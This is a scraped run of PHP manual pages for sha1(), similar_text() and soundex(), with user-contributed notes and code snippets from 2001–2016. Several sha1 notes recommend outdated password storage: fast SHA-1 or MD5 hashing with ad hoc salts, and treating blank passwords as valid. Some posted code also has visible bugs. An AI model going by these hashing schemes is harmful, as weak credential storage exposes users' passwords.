  $array_strlen=array();

  foreach ($array as $element){
    $array_strlen[]=strlen($element);
  }

  for ($i=0; $i<max($array_strlen); $i++){
    foreach ($array as $element){
      if ($i<strlen($element)){
        $twisted=$twisted.$element{$i};
      }
    }
  }

  return $twisted;
}
?>

The twistSTR function basically takes an array input of strings and alternates each character of each string among all the other strings.  For example:

<?php
echo twistSTR(array("this","and","that"));//output: tathnhidast
?>

It can be applied in the following manner:

<?php
if ($un===$_POST["username"] && $pwd===sha1(twistSTR(array($salt,$_POST["password"])))){
?>

It's not amazingly difficult to reverse engineer the actual output, but then again, that's not the point.  The point is that when a password is entered into one of those databases, they are going to enter for example "thisandthat", not "tathnhidast".
Gregory Boshoff 18-Oct-2006 04:23
Note that the sha1 algorithm has been compromised and is no longer being used by government agencies.

As of PHP 5.1.2 a new set of hashing functions are available.

http://www.php.net/manual/en/function.hash.php

The new function hash() supports a new range of hashing methods.

echo hash('sha256', 'The quick brown fox jumped over the lazy dog.');

It is recommended that developers start to future proof their applications by using the stronger sha-2, hashing methods such as sha256, sha384, sha512 or better.

As of PHP 5.1.2 hash_algos() returns an array of system specific or registered hashing algorithms methods that are available to PHP.

print_r(hash_algos());
erling dot westenvik at gmail dot com 17-May-2006 06:15
Regarding php at REMOVEMEkennel17 dot co dot uk's note below:

The phrase: "To get the correct behaviour", would perhaps be better off if it read: "To get the wanted (but not recommended) behaviour".

Always honor the expected data types for functions: sha1 expects a string as input, and returns a string on exit. NULL, TRUE and FALSE are not string data types. The string "" is a string as good as "any". By following the "logic" that sha1("") should return "", then what should sha1("a") return? "b"? "c"?

An authentication system that allows for blank passwords is not really an authentication system in the first place. What you are describing is merely a way to tell the application that you want to see data in some specific context, like sorted by user name, etc. Create other tools for this purpose and leave the authentication system to deal with what it is supposed to do: Granting users access to restricted data and blocking other users from seeing the same data.

Don't store passwords in clear text, but salt and encrypt them. That way it makes perfect sense having <?php $sStoredPwd === sha1($sStoredSalt . $_POST["sTypedPwd"]); ?>, even with a blank "password". No other person than the user itself, not even the programmer, should know the password or be able to guess it. If the user forgets the password, a new one must be generated.

Regards,
Erling
php at REMOVEMEkennel17 dot co dot uk 19-Sep-2005 06:52
It should be noted that sha1("") does not return an empty string.  This means that if you are running a system that does not require users to have a password, the following code will not work as expected:

<?php
if ($StoredPassword == sha1($NewPassword))
    // Password good
?>

If $StoredPassword and $NewPassword are both blank, then the password should be treated as good, but because sha1("") != "" it will be treated as bad. To get the correct behaviour you need to use:

<?php
if (($StoredPassword == "" && $NewPassword == "") || ($StoredPassword == sha1($NewPassword)))
    // Password good
?>

(Note: I use a custom IsBlank() function instead of comparison against the empty string, so NULL values are also matched.)

For reference, here are a couple of special values put through sha1().  Note that sha1("") == sha1(NULL) == sha1(false), and also that sha1(0) != sha1(false)

"" -> da39a3ee5e6b4b0d3255bfef95601890afd80709
NULL -> da39a3ee5e6b4b0d3255bfef95601890afd80709
0 -> b6589fc6ab0dc82cf12099d1c2d40ab994e8410c
1 -> 356a192b7913b04c54574d18c28d46e6395428ab
false -> da39a3ee5e6b4b0d3255bfef95601890afd80709
true -> 356a192b7913b04c54574d18c28d46e6395428ab
Dan 05-Sep-2005 10:12
I've noticed websites are now starting to require passwords of a certain length that MUST contain at least 1 non-alphanumeric character. This in itself makes dictionary attacks kind of useless. My web site requires that as well. It uses md5, and appends a site code into the md5 as well. And the include file that contains that site key is outside the public folders. I sure hope I've done enough to keep the bad boys out.
WTM 03-Aug-2005 07:30
Actually, the post by Helpful Harry won't improve your security except for the most simple break in attempts.  Since the random seed is attached to the end of the password hash, if you steal the hashed password, you steal the seed.

That means you can write a simple php program to call the pw_check function Harry included from a loop, feeding it dictionary words or random characters.

Of course, if you modified the program to use the seed in a more complicated way, "they" would have to know the new function's operation.  But then again, if someone can steal your password database, they can probably steal your website code (or guess it).
Helpful Harry 06-Jul-2005 10:21
check out these randomized sha1 password storage functions, they output a string of 50 characters, the first 40 characters being a sha1 output based on the last 10 characters - those being a random seed

to encode a password run pw_encode with the password, it'll return a different pseudo-random string every time - store this value.

to check a password run pw_check with the password attempt and the stored value, it'll return true on a match and false otherwise

these functions eliminate the pesky problem of dictionary matches being run on your password lists

<?php

function pw_encode($password)
{
   for ($i = 1; $i <= 10; $i++)
       $seed .= substr('0123456789abcdef', rand(0,15), 1);
   return sha1($seed.$password.$seed).$seed;
}

function pw_check($password, $stored_value)
{
   if (strlen($stored_value) != 50)
      return FALSE;
   $stored_seed = substr($stored_value,40,10);
   if (sha1($stored_seed.$password.$stored_seed).$stored_seed == $stored_value)
     return TRUE;
   else
     return FALSE;
}

?>
alex at milivojevic dot org 28-Apr-2005 02:12
Regarding my previous comment, if you want to be on the safe side and use only ASCII printable seeds (shouldn't matter for SSHA seeds), something like this could be used:

<?php
$salt = substr(base64_encode(pack("H*", sha1(mt_rand()))), 0, 4);
?>
svn at datapirate dot de 20-Feb-2005 05:26
Wanna use SHA-2 algorithm? Try this:

Download Tar-Ball from http://www.adg.us/computers/sha.html
Compile (may occur some warnings) and test it:

cc -O2 -DSHA2_UNROLL_TRANSFORM -Wall -o sha2 sha2prog.c sha2.c
./sha2test.pl

Copy it to /usr/local/bin/ (don't forget to check permissions)

Here are two functions that could be used with:

function sha2($bits, $string){
    $sha2bin="/usr/local/bin/sha2";
    $echocmd="echo";
    if(!in_array($bits, array(256, 384, 512)))return(false);
    $r=exec($echocmd." ".escapeshellarg($string)."|".$sha2bin." -q -".$bits, $sha2);
    return($sha2[0]);
}

function sha2_file($bits, $filename){
    $sha2bin="/usr/local/bin/sha2";
    if(!in_array($bits, array(256, 384, 512)))return(false);
    if(!file_exists($filename)||!is_readable($filename))return(false);
    $r=exec($sha2bin." -q -".$bits." ".escapeshellarg($filename), $sha2);
    return($sha2[0]);
}

and use it like below:

<?php
$str = 'apple';
if (sha2(256, $str) === '303980bcb9e9e6cdec515230791af8b0ab1aaa244b58a8d99152673aa22197d0') {
   echo "Would you like a green or red apple?";
   exit;
}
?>
sinatosk at gmail dot com 22-Nov-2004 12:43
Heres an SHA1 function that will work on it's own completely. This is for users who are using below PHP 4.3.0. it works same as PHP5 ( being able to return raw output ).

<?php

/*
** Date modified: 1st October 2004 20:09 GMT
*
** PHP implementation of the Secure Hash Algorithm ( SHA-1 )
*
** This code is available under the GNU Lesser General Public License:
** http://www.gnu.org/licenses/lgpl.txt
*
** Based on the PHP implementation by Marcus Campbell
** http://www.tecknik.net/sha-1/
*
** This is a slightly modified version by me Jerome Clarke ( sinatosk@gmail.com )
** because I feel more comfortable with this
*/

function sha1_str2blks_SHA1($str)
{
    $strlen_str = strlen($str);

    $nblk = (($strlen_str + 8) >> 6) + 1;

    for ($i=0; $i < $nblk * 16; $i++) $blks[$i] = 0;

    for ($i=0; $i < $strlen_str; $i++)
    {
        $blks[$i >> 2] |= ord(substr($str, $i, 1)) << (24 - ($i % 4) * 8);
    }

    $blks[$i >> 2] |= 0x80 << (24 - ($i % 4) * 8);
    $blks[$nblk * 16 - 1] = $strlen_str * 8;

    return $blks;
}

function sha1_safe_add($x, $y)
{
    $lsw = ($x & 0xFFFF) + ($y & 0xFFFF);
    $msw = ($x >> 16) + ($y >> 16) + ($lsw >> 16);

    return ($msw << 16) | ($lsw & 0xFFFF);
}

function sha1_rol($num, $cnt)
{
    return ($num << $cnt) | sha1_zeroFill($num, 32 - $cnt);
}

function sha1_zeroFill($a, $b)
{
    $bin = decbin($a);

    $strlen_bin = strlen($bin);

    $bin = $strlen_bin < $b ? 0 : substr($bin, 0, $strlen_bin - $b);

    for ($i=0; $i < $b; $i++) $bin = '0'.$bin;

    return bindec($bin);
}

function sha1_ft($t, $b, $c, $d)
{
    if ($t < 20) return ($b & $c) | ((~$b) & $d);
    if ($t < 40) return $b ^ $c ^ $d;
    if ($t < 60) return ($b & $c) | ($b & $d) | ($c & $d);

    return $b ^ $c ^ $d;
}

function sha1_kt($t)
{
    if ($t < 20) return 1518500249;
    if ($t < 40) return 1859775393;
    if ($t < 60) return -1894007588;

    return -899497514;
}

function sha1($str, $raw_output=FALSE)
{
    if ( $raw_output === TRUE ) return pack('H*', sha1($str, FALSE));

    $x = sha1_str2blks_SHA1($str);
    $a =  1732584193;
    $b = -271733879;
    $c = -1732584194;
    $d =  271733878;
    $e = -1009589776;

    $x_count = count($x);

    for ($i = 0; $i < $x_count; $i += 16)
    {
        $olda = $a;
        $oldb = $b;
        $oldc = $c;
        $oldd = $d;
        $olde = $e;

        for ($j = 0; $j < 80; $j++)
        {
            $w[$j] = ($j < 16) ? $x[$i + $j] : sha1_rol($w[$j - 3] ^ $w[$j - 8] ^ $w[$j - 14] ^ $w[$j - 16], 1);

            $t = sha1_safe_add(sha1_safe_add(sha1_rol($a, 5), sha1_ft($j, $b, $c, $d)), sha1_safe_add(sha1_safe_add($e, $w[$j]), sha1_kt($j)));
            $e = $d;
            $d = $c;
            $c = sha1_rol($b, 30);
            $b = $a;
            $a = $t;
        }

        $a = sha1_safe_add($a, $olda);
        $b = sha1_safe_add($b, $oldb);
        $c = sha1_safe_add($c, $oldc);
        $d = sha1_safe_add($d, $oldd);
        $e = sha1_safe_add($e, $olde);
    }

    return sprintf('%08x%08x%08x%08x%08x', $a, $b, $c, $d, $e);
}

?>
rsemirag at yahoo dot com 02-Nov-2004 10:34
If you're struggling to generate an SHA encoded password for LDAP (PHP < 5.0), what you end up needing is this:

$userpassword = base64_encode(pack("H*", sha1($pass)));

I found this in the OpenLDAP FAQ (many thanks to Google and Ace), though I'm using the iPlanet LDAP server.

Ray Semiraglio
brian_bisaillon at rogers dot com 25-Feb-2004 08:19
Source code to create SSHA passwords...

public function HashPassword($password)
{
  mt_srand((double)microtime()*1000000);
  $salt = mhash_keygen_s2k(MHASH_SHA1, $password, substr(pack('h*', md5(mt_rand())), 0, 8), 4);
  $hash = "{SSHA}".base64_encode(mhash(MHASH_SHA1, $password.$salt).$salt);
  return $hash;
}

Source code to validate SSHA passwords...

public function ValidatePassword($password, $hash)
{
  $hash = base64_decode(substr($hash, 6));
  $original_hash = substr($hash, 0, 20);
  $salt = substr($hash, 20);
  $new_hash = mhash(MHASH_SHA1, $password . $salt);
   if (strcmp($original_hash, $new_hash) == 0)
     ... do something because your password is valid ...
  else
    echo 'Unauthorized: Authorization has been refused for the credentials you provided. Please login with a valid username and password.';
    ... be sure to clear your session data ...
}

Note: The format is compatible with OpenLDAP's SSHA scheme if I'm not mistaken.
mark at dot BANSPAM dot pronexus dot nl 30-Jan-2004 06:28
Looking for a simple function to implement HMAC-SHA1 but don't want to use the entire PEAR Message lib?

//Calculate HMAC-SHA1 according to RFC2104
// http://www.ietf.org/rfc/rfc2104.txt
function hmacsha1($key,$data) {
    $blocksize=64;
    $hashfunc='sha1';
    if (strlen($key)>$blocksize)
        $key=pack('H*', $hashfunc($key));
    $key=str_pad($key,$blocksize,chr(0x00));
    $ipad=str_repeat(chr(0x36),$blocksize);
    $opad=str_repeat(chr(0x5c),$blocksize);
    $hmac = pack(
                'H*',$hashfunc(
                    ($key^$opad).pack(
                        'H*',$hashfunc(
                            ($key^$ipad).$data
                        )
                    )
                )
            );
    return bin2hex($hmac);
}

It is very useful for client-authentication. see also http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf
Optionally you can change $hashfunc to 'md5' to make this an HMAC-MD5 function ;-)
If you want raw or base64 output instead of hexadecimal, just change the last return line.

Cheers,
Mark

p.s. the "$hmac =" line used to be 1 line but I had to cut it up in order to fit it here ;)
labarks 15-Nov-2003 03:06
Append this to the your sha1lib file to make it more portable.  If your version of php does support sha1() then it will try to use Mhash or else it will use the sha1lib.  Use $sha1 if you want to display which is being used.

if ( function_exists('sha1') )
    $sha1 = "sha1";

if ( !function_exists('sha1') && function_exists('mhash'))
{
    function sha1($hash_source)
    {
           $hash = mhash(MHASH_SHA1, $hash_source);
          $hex_hash = bin2hex($hash);
           return $hex_hash;
    }
    $sha1 = "Mhash";
}
if ( !function_exists('sha1') && !function_exists('mhash'))
{
    function sha1( $string, $raw_output = false )
    {
        $library = new Sha1Lib();

        return $raw_output ? $library->str_sha1($string) : $library->hex_sha1($string);
    }
    $sha1 = "sha1lib";
}
bobm at hp dot com 23-Apr-2003 09:12
To achieve raw binary format prior to PHP5, you can do this...

$raw = pack("H*", sha1($str));

Regards,

Bob Mader


计算两个字符串的相似度

  • ? sha1
  • soundex ?
  • PHP Manual
  • 字符串 函数
  • 计算两个字符串的相似度

similar_text

(PHP 4, PHP 5, PHP 7)

similar_text — 计算两个字符串的相似度

说明

similar_text ( string $first , string $second [, float &$percent ] ) : int

两个字符串的相似程度计算依据 Programming Classics: Implementing the World's Best Algorithms by Oliver (ISBN 0-131-00413-1) 的描述进行。注意该实现没有使用 Oliver 虚拟码中的堆栈，但是却进行了递归调用，这个做法可能会导致整个过程变慢或变快。也请注意，该算法的复杂度是 O(N**3)，N 是最长字符串的长度。

参数

first

第一个字符串。

second

第二个字符串。

percent

通过引用方式传递第三个参数，similar_text() 将计算相似程度百分数。

返回值

返回在两个字符串中匹配字符的数目。

参见

  • levenshtein() - 计算两个字符串之间的编辑距离
  • soundex() - Calculate the soundex key of a string

User Contributed Notes

vasyl at vasyltech dot com 08-Feb-2016 02:15
Recursive algorithm usually is very elegant one. I found a way to get better precision without the recursion. Imagine two different (or same) length ribbons with letters on each. You simply shifting one ribbon to left till it matches the letter the first.

<?php

function similarity($str1, $str2) {
    $len1 = strlen($str1);
    $len2 = strlen($str2);

    $max = max($len1, $len2);
    $similarity = $i = $j = 0;

    while (($i < $len1) && isset($str2[$j])) {
        if ($str1[$i] == $str2[$j]) {
            $similarity++;
            $i++;
            $j++;
        } elseif ($len1 < $len2) {
            $len1++;
            $j++;
        } elseif ($len1 > $len2) {
            $i++;
            $len1--;
        } else {
            $i++;
            $j++;
        }
    }

    return round($similarity / $max, 2);
}

$str1 = '12345678901234567890';
$str2 = '12345678991234567890';

echo 'Similarity: ' . (similarity($str1, $str2) * 100) . '%';
?>
donotspamme at mailinator dot com 04-Mar-2015 01:39
@I_HATE_SPAMMER- PAZ! (http://php.net/similar_text#115994)
Not only will your code fail the "turkey test" (google it), and for a matter most comments here that use strtoupper()/strtolower(), it also depends very much on the use-case; maybe I wanted the 75% ? I don't see the value of such comments; this is something everybody could've come op with. It's basic programming and turning requirements into algorithms.
I_HATE_SPAMMER- PAZ! 24-Oct-2014 09:59
Actually similar_text() is not bad...
it works good. But before processing i think is a good way to make a little mod like this

$var_1 = strtoupper("doggy");
$var_2 = strtoupper("Dog");

similar_text($var_1, $var_2, $percent);

echo $percent; // output is 75 but without strtoupper output is 50
ryan at derokorian dot com 04-Mar-2014 09:00
Note that this function is case sensitive:

<?php

$var1 = 'Hello';
$var2 = 'Hello';
$var3 = 'hello';

echo similar_text($var1, $var2);  // 5
echo similar_text($var1, $var3);  // 4
SPAM HATER 23-Jul-2012 06:16
Hey there,

Be aware when using this function, that the order of passing the strings is very important if you want to calculate the percentage of similarity, in fact, altering the variables will give a very different result, example :

<?php
$var_1 = 'PHP IS GREAT';
$var_2 = 'WITH MYSQL';

similar_text($var_1, $var_2, $percent);

echo $percent;
// 27.272727272727

similar_text($var_2, $var_1, $percent);

echo $percent;
// 18.181818181818
?>
daniel dot karbach at localhorst dot tv 17-Dec-2010 06:48
Please note that this function calculates a similarity of 0 (zero) for two empty strings.

<?php
similar_text("", "", $sim);
echo $sim; // "0"
?>
romain dot boyer at gmail dot com 08-Aug-2007 05:59
Like levenchtein(), You can do :

(strlen($string2) - similar_text($string,$string2))

to see how much characters have been changed.
Paul 18-Jan-2007 08:50
The speed issues for similar_text seem to be only an issue for long sections of text (>20000 chars).

I found a huge performance improvement in my application by just testing if the string to be tested was less than 20000 chars before calling similar_text.

20000+ took 3-5 secs to process, anything else (10000 and below) took a fraction of a second.
Fortunately for me, there was only a handful of instances with >20000 chars which I couldn't get a comparison % for.
julius at infoguiden dot no 06-Feb-2003 06:46
If you have reserved names in a database that you don't want others to use, i find this to work pretty good.
I added strtoupper to the variables to validate typing only. Taking case into consideration will decrease similarity.

<?php
$query = mysql_query("select * from $table") or die("Query failed");

while ($row = mysql_fetch_array($query)) {
      similar_text(strtoupper($_POST['name']), strtoupper($row['reserved']), $similarity_pst);
      if (number_format($similarity_pst, 0) > 90){
        $too_similar = $row['reserved'];
        print "The name you entered is too similar the reserved name &quot;".$row['reserved']."&quot;";
        break;
       }
    }
?>
georgesk at hotmail dot com 08-Mar-2002 08:14
Well, as mentioned above the speed is O(N^3), i've done a longest common subsequence way that is O(m.n) where m and n are the length of str1 and str2, the result is a percentage and it seems to be exactly the same as similar_text percentage but with better performance... here's the 3 functions i'm using..

<?php
function LCS_Length($s1, $s2)
{
  $m = strlen($s1);
  $n = strlen($s2);

  //this table will be used to compute the LCS-Length, only 128 chars per string are considered
  $LCS_Length_Table = array(array(128),array(128));

  //reset the 2 cols in the table
  for($i=1; $i < $m; $i++) $LCS_Length_Table[$i][0]=0;
  for($j=0; $j < $n; $j++) $LCS_Length_Table[0][$j]=0;

  for ($i=1; $i <= $m; $i++) {
    for ($j=1; $j <= $n; $j++) {
      if ($s1[$i-1]==$s2[$j-1])
        $LCS_Length_Table[$i][$j] = $LCS_Length_Table[$i-1][$j-1] + 1;
      else if ($LCS_Length_Table[$i-1][$j] >= $LCS_Length_Table[$i][$j-1])
        $LCS_Length_Table[$i][$j] = $LCS_Length_Table[$i-1][$j];
      else
        $LCS_Length_Table[$i][$j] = $LCS_Length_Table[$i][$j-1];
    }
  }
  return $LCS_Length_Table[$m][$n];
}

function str_lcsfix($s)
{
  $s = str_replace(" ","",$s);
  $s = ereg_replace("[????????]","e", $s);
  $s = ereg_replace("[????????????]","a", $s);
  $s = ereg_replace("[????????]","i", $s);
  $s = ereg_replace("[?????????]","o", $s);
  $s = ereg_replace("[????????]","u", $s);
  $s = ereg_replace("[?]","c", $s);
  return $s;
}

function get_lcs($s1, $s2)
{
  //ok, now replace all spaces with nothing
  $s1 = strtolower(str_lcsfix($s1));
  $s2 = strtolower(str_lcsfix($s2));

  $lcs = LCS_Length($s1,$s2); //longest common sub sequence

  $ms = (strlen($s1) + strlen($s2)) / 2;

  return (($lcs*100)/$ms);
}
?>

you can skip calling str_lcsfix if you don't worry about accentuated characters and things like that or you can add up to it or modify it for faster performance, i think ereg is not the fastest way?
hope this helps.
Georges
daniel at reflexionsdesign dot com 09-Oct-2001 06:30
If performance is an issue, you may wish to use the levenshtein() function instead, which has a considerably better complexity of O(str1 * str2).


Calculate the soundex key of a string

  • ? similar_text
  • sprintf ?
  • PHP Manual
  • 字符串 函数
  • Calculate the soundex key of a string

soundex

(PHP 4, PHP 5, PHP 7)

soundex — Calculate the soundex key of a string

说明

soundex ( string $str ) : string

Calculates the soundex key of str.

Soundex keys have the property that words pronounced similarly produce the same soundex key, and can thus be used to simplify searches in databases where you know the pronunciation but not the spelling. This soundex function returns a string 4 characters long, starting with a letter.

This particular soundex function is one described by Donald Knuth in "The Art Of Computer Programming, vol. 3: Sorting And Searching", Addison-Wesley (1973), pp. 391-392.

参数

str

The input string.

返回值

Returns the soundex key as a string.

范例

Example #1 Soundex Examples

<?php
soundex("Euler")       == soundex("Ellery");    // E460
soundex("Gauss")       == soundex("Ghosh");     // G200
soundex("Hilbert")     == soundex("Heilbronn"); // H416
soundex("Knuth")       == soundex("Kant");      // K530
soundex("Lloyd")       == soundex("Ladd");      // L300
soundex("Lukasiewicz") == soundex("Lissajous"); // L222
?>

参见

  • levenshtein() - 计算两个字符串之间的编辑距离
  • metaphone() - Calculate the metaphone key of a string
  • similar_text() - 计算两个字符串的相似度

User Contributed Notes

synnus at gmail dot com 30-Jun-2015 11:39
<?php
// https://github.com/Fruneau/Fruneau.github.io/blob/master/assets/soundex_fr.php
// http://blog.mymind.fr/blog/2007/03/15/soundex-francais/
function soundex_fr($sIn){
    static $convVIn, $convVOut, $convGuIn, $convGuOut, $accents;
    if (!isset($convGuIn)) {
        $accents = array('é' => 'E', 'è' => 'E', '?' => 'E', 'ê' => 'E',
                    'á' => 'A', 'à' => 'A', '?' => 'A', '?' => 'A', '?' => 'A', '?' => 'A',
                    '?' => 'I', '?' => 'I', 'ì' => 'I', 'í' => 'I',
                    '?' => 'O', '?' => 'O', 'ò' => 'O', 'ó' => 'O', '?' => 'O', '?' => 'O',
                    'ú' => 'U', 'ù' => 'U', '?' => 'U', 'ü' => 'U',
                    '?' => 'C', '?' => 'N', '?' => 'S', '?' => 'E',
                    'é' => 'e', 'è' => 'e', '?' => 'e', 'ê' => 'e',
                    'á' => 'a', 'à' => 'a', '?' => 'a', 'a' => 'a', '?' => 'a', '?' => 'a',
                    '?' => 'i', '?' => 'i', 'ì' => 'i', 'í' => 'i',
                    '?' => 'o', '?' => 'o', 'ò' => 'o', 'ó' => 'o', '?' => 'o', '?' => 'o',
                    'ú' => 'u', 'ù' => 'u', '?' => 'u', 'ü' => 'u',
                    '?' => 'c', '?' => 'n');
        $convGuIn  = array( 'GUI', 'GUE', 'GA', 'GO', 'GU', 'SCI', 'SCE', 'SC', 'CA', 'CO',
                            'CU', 'QU', 'Q', 'CC', 'CK', 'G', 'ST', 'PH');
        $convGuOut = array( 'KI', 'KE', 'KA', 'KO', 'K', 'SI', 'SE', 'SK', 'KA', 'KO',
                            'KU', 'K', 'K', 'K', 'K', 'J', 'T', 'F');
        $convVIn   = array( '/E?(AU)/', '/([EA])?[UI]([NM])([^EAIOUY]|$)/', '/[AE]O?[NM]([^AEIOUY]|$)/',
                            '/[EA][IY]([NM]?[^NM]|$)/', '/(^|[^OEUIA])(OEU|OE|EU)([^OEUIA]|$)/', '/OI/',
                            '/(ILLE?|I)/', '/O(U|W)/', '/O[NM]($|[^EAOUIY])/', '/(SC|S|C)H/',
                            '/([^AEIOUY1])[^AEIOUYLKTPNR]([UAO])([^AEIOUY])/', '/([^AEIOUY]|^)([AUO])[^AEIOUYLKTP]([^AEIOUY1])/', '/^KN/',
                            '/^PF/', '/C([^AEIOUY]|$)/',  '/E(Z|R)$/',
                            '/C/', '/Z$/', '/(?<!^)Z+/', '/H/', '/W/');
        $convVOut  = array( 'O', '1\3', 'A\1',
                            'E\1', '\1E\3', 'O',
                            'Y', 'U', 'O\1', '9',
                            '\1\2\3', '\1\2\3', 'N',
                            'F', 'K\1', 'E',
                            'S', 'SE', 'S', '', 'V');
    }

    if ( $sIn === '' ) return '    ';
    $sIn = strtr( $sIn, $accents);
    $sIn = strtoupper( $sIn );
    $sIn = preg_replace( '`[^A-Z]`', '', $sIn );
    if ( strlen( $sIn ) === 1 ) return $sIn . '   ';
    $sIn = str_replace( $convGuIn, $convGuOut, $sIn );
    $sIn = preg_replace( '`(.)\1`', '$1', $sIn );
    $sIn = preg_replace( $convVIn, $convVOut, $sIn);
    $sIn = preg_replace( '`L?[TDX]?S?$`', '', $sIn );
    $sIn = preg_replace( '`(?!^)Y([^AEOU]|$)`', '\1', $sIn);
    $sIn = preg_replace( '`(?!^)[EA]`', '', $sIn);
    return substr( $sIn . '    ', 0, 4);
}
?>
Dirk Hoeschen - Feenders de 26-Jan-2014 11:00
I made some improvements to the "Cologne Phonetic" function of niclas zimmer. Key and value of the arrays are inverted to uses simple arrays instead of multidimensional arrays. Therefore all loops and iterations are not longer necessary to find the matching value  for a char.
I put the function into a static class and moved the array declarations outside the function.

The result is more reliable and five times faster than the original.

<?php
class CologneHash() {

    static $eLeading = array("ca" => 4, "ch" => 4, "ck" => 4, "cl" => 4, "co" => 4, "cq" => 4, "cu" => 4, "cx" => 4, "dc" => 8, "ds" => 8, "dz" => 8, "tc" => 8, "ts" => 8, "tz" => 8);

    static $eFollow = array("sc", "zc", "cx", "kx", "qx");

    static $codingTable = array("a" => 0, "e" => 0, "i" => 0, "j" => 0, "o" => 0, "u" => 0, "y" => 0,
        "b" => 1, "p" => 1, "d" => 2, "t" => 2, "f" => 3, "v" => 3, "w" => 3, "c" => 4, "g" => 4, "k" => 4, "q" => 4,
        "x" => 48, "l" => 5, "m" => 6, "n" => 6, "r" => 7, "c" => 8, "s" => 8, "z" => 8);

    public static function getCologneHash($word)
    {
        if (empty($word)) return false;
        $len = strlen($word);

        for ($i = 0; $i < $len; $i++) {
            $value[$i] = "";

            //Exceptions
            if ($i == 0 && $word[$i] . $word[$i + 1] == "cr") {
                $value[$i] = 4;
            }

            if (isset($word[$i + 1]) && isset(self::$eLeading[$word[$i] . $word[$i + 1]])) {
                $value[$i] = self::$eLeading[$word[$i] . $word[$i + 1]];
            }

            if ($i != 0 && (in_array($word[$i - 1] . $word[$i], self::$eFollow))) {
                $value[$i] = 8;
            }

            // normal encoding
            if ($value[$i]=="") {
                if (isset(self::$codingTable[$word[$i]])) {
                    $value[$i] = self::$codingTable[$word[$i]];
                }
            }
        }

        // delete double values
        $len = count($value);

        for ($i = 1; $i < $len; $i++) {
            if ($value[$i] == $value[$i - 1]) {
                $value[$i] = "";
            }
        }

        // delete vocals
        for ($i = 1; $i > $len; $i++) {
            // omitting first characer code and h
            if ($value[$i] == 0) {
                $value[$i] = "";
            }
        }

        $value = array_filter($value);
        $value = implode("", $value);

        return $value;
    }

}
?>
nicolas dot zimmer at einfachmarke dot de 03-Aug-2008 03:47
Since soundex() does not produce optimal results for German language
we have written a function to implement the so called K?lner Phonetik
(Cologne Phonetic).

Please find the code below in the hope it might be useful:

<?php
/**
 * A function for retrieving the K?lner Phonetik value of a string
 *
 * As described at http://de.wikipedia.org/wiki/K?lner_Phonetik
 * Based on Hans Joachim Postel: Die K?lner Phonetik.
 * Ein Verfahren zur Identifizierung von Personennamen auf der
 * Grundlage der Gestaltanalyse.
 * in: IBM-Nachrichten, 19. Jahrgang, 1969, S. 925-931
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * @package phonetics
 * @version 1.0
 * @link http://www.einfachmarke.de
 * @license GPL 3.0 <http://www.gnu.org/licenses/>
 * @copyright  2008 by einfachmarke.de
 * @author Nicolas Zimmer <nicolas dot zimmer at einfachmarke.de>
 */

function cologne_phon($word){

  /**
  * @param  string  $word string to be analyzed
  * @return string  $value represents the K?lner Phonetik value
  * @access public
  */

    //prepare for processing
    $word=strtolower($word);
    $substitution=array(
            "?"=>"a",
            "?"=>"o",
            "ü"=>"u",
            "?"=>"ss",
            "ph"=>"f"
            );

    foreach ($substitution as $letter=>$substitution) {
        $word=str_replace($letter,$substitution,$word);
    }

    $len=strlen($word);

    //Rule for exeptions
    $exceptionsLeading=array(
    4=>array("ca","ch","ck","cl","co","cq","cu","cx"),
    8=>array("dc","ds","dz","tc","ts","tz")
    );

    $exceptionsFollowing=array("sc","zc","cx","kx","qx");

    //Table for coding
    $codingTable=array(
    0=>array("a","e","i","j","o","u","y"),
    1=>array("b","p"),
    2=>array("d","t"),
    3=>array("f","v","w"),
    4=>array("c","g","k","q"),
    48=>array("x"),
    5=>array("l"),
    6=>array("m","n"),
    7=>array("r"),
    8=>array("c","s","z"),
    );

    for ($i=0;$i<$len;$i++){
        $value[$i]="";

        //Exceptions
        if ($i==0 AND $word[$i].$word[$i+1]=="cr") $value[$i]=4;

        foreach ($exceptionsLeading as $code=>$letters) {
            if (in_array($word[$i].$word[$i+1],$letters)){

                    $value[$i]=$code;

}                }

        if ($i!=0 AND (in_array($word[$i-1].$word[$i],
$exceptionsFollowing))) {

            value[$i]=8;

}

        //Normal encoding
        if ($value[$i]==""){
                foreach ($codingTable as $code=>$letters) {
                    if (in_array($word[$i],$letters))$value[$i]=$code;
                }
            }
        }

    //delete double values
    $len=count($value);

    for ($i=1;$i<$len;$i++){
        if ($value[$i]==$value[$i-1]) $value[$i]="";
    }

    //delete vocals
    for ($i=1;$i>$len;$i++){//omitting first characer code and h
        if ($value[$i]==0) $value[$i]="";
    }

    $value=array_filter($value);
    $value=implode("",$value);

    return $value;

}

?>
shortcut 13-Nov-2006 11:24
The answer to whether soundex works except for the first letter in klancy vs clancy is to always prefix words with the same letter.

aklancy will match aclancy
bklancy will match bclancy

soundex seems to only check the 1st 2 syllables.??
ie:  spectacular matches spectacle

just a thought if you rely on soundex.

k-
04-Oct-2005 12:25
Since the first letter is included in the phonetic representation in the output, it is worth pointing out that if you want a soundex key to work without the problems of klansy and clansy sounding different, take the substring from the first letter, as the first letter is the main constant of the word, and the numerical value is that of the phontic structure of the word.
crchafer-php at c2se dot com 13-Sep-2005 08:25
Rewritten, maybe -- but the algorithm has some obvious
optimisations which can be done, for example...

        function text__soundex( $text ) {
                $k = ' 123 12  22455 12623 1 2 2';
                $nl = strlen( $tN = strtoupper( $text ) );
                $p = trim( $k{ ord( $tS = $tN{0} ) - 65 } );
                for( $n = 1; $n < $nl; ++$n )
                        if( ( $l = trim( $k{ ord( $tN{ $n } ) - 65 } ) ) != $p )
                                $tS .= ( $p = $l );
                return substr( $tS . '000', 0, 4 );
        }

// Notes:
// $k is the $key, essentially $SoundKey inverted
// $tN is the uppercase of the text to be optimised
// $tS is the partaully generated output
// $l is the current letter, $p the previous
// $n and $nl are iteration indicies
// 65 is ord('A'), precalculated for speed
// none ascii letters are not supported
// watch the brackets, quite a mixture here

(Code has suffered only basic tests, though it appears to
match the output of PHP's soundex(), speed untested --
though this should be /much/ faster than a4_perfect's
rewrite due to the removal of most loops and compares.)

C
2005-09-13
Marc Quinton. 06-Jan-2005 06:53
a French soundex version ; could be used for other foreigns languages where soudex lacks. Perhaps, a class with each language specifics could be writen.

http://www.php-help.net/sources-php/a.french.adapted.soundex.289.html
justin at NO dot blukrew dot SPAM dot com 21-Sep-2004 04:18
